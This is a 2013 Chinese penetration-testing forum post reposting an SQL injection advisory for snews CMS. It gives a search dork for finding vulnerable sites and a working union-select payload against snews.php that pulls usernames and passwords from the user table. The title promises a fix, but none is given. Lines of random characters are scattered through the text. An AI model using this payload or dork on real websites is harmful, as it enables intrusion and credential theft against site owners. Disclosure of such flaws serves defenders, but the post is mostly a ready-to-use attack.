中国网络渗透测试联盟
标题:
CMS snews SQL注射及修复
[打印本页]
作者:
admin
时间:
2013-1-23 08:55
标题:
CMS snews SQL注射及修复
标题: CMS snews SQL Injection Vulnerability
6 E' M/ m+ F, _: O' t
作者: By onestree
! K) B! D/ |' K* R
下载地址 :
http://snewscms.com/
& H4 L. H O/ k1 A, m
测试平台 : ubuntu 12.10 / win 7
; }( c x% G9 b2 O
关键词: inurl:"tanyakan pada rumput yang bergoyang"
r1 _' D% K* A
" ~6 o8 U1 ]) G) r, e
0 T( }2 ?! I, C0 J5 k
*************************************************************
) b% p9 G3 o2 [7 u' g3 L) }# a
) E2 h3 M7 X4 A1 N/ A* L3 Q4 Y
SQL poc:
: @' Z) O- M/ D* L
: T0 j, O! Q! |8 I V9 |
http://www.2cto.com
/snews/snews.php?act=shownews&id=[SQL]
# C' X8 z0 d$ J* }7 g3 F
6 Y! R3 J- Z) }7 L* x; a
示例
9 y0 Y* f, {7 D4 I+ l
! v, v- k; ^/ Q. G6 G
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
2 E @6 ]# l$ P! \' C6 v
' n; I: X5 n$ b$ A4 ]3 m
1 x+ R7 {. r8 A# o9 `9 b3 M
致谢:
% Y; K3 x' h( v) e
0 {" {# R8 F, L& a& |
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
6 S/ o& \: P r! Z
: G0 ?2 k6 f: P% H
indonesiancoder - moeslimh4x0r - go-coder
0 y* U3 j' f% ]: V, j) X
8 q; A7 L1 F }: C% Q' X" l* @9 h
spesial my hunny :*
' @$ a# C0 Q+ Z4 k. [
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2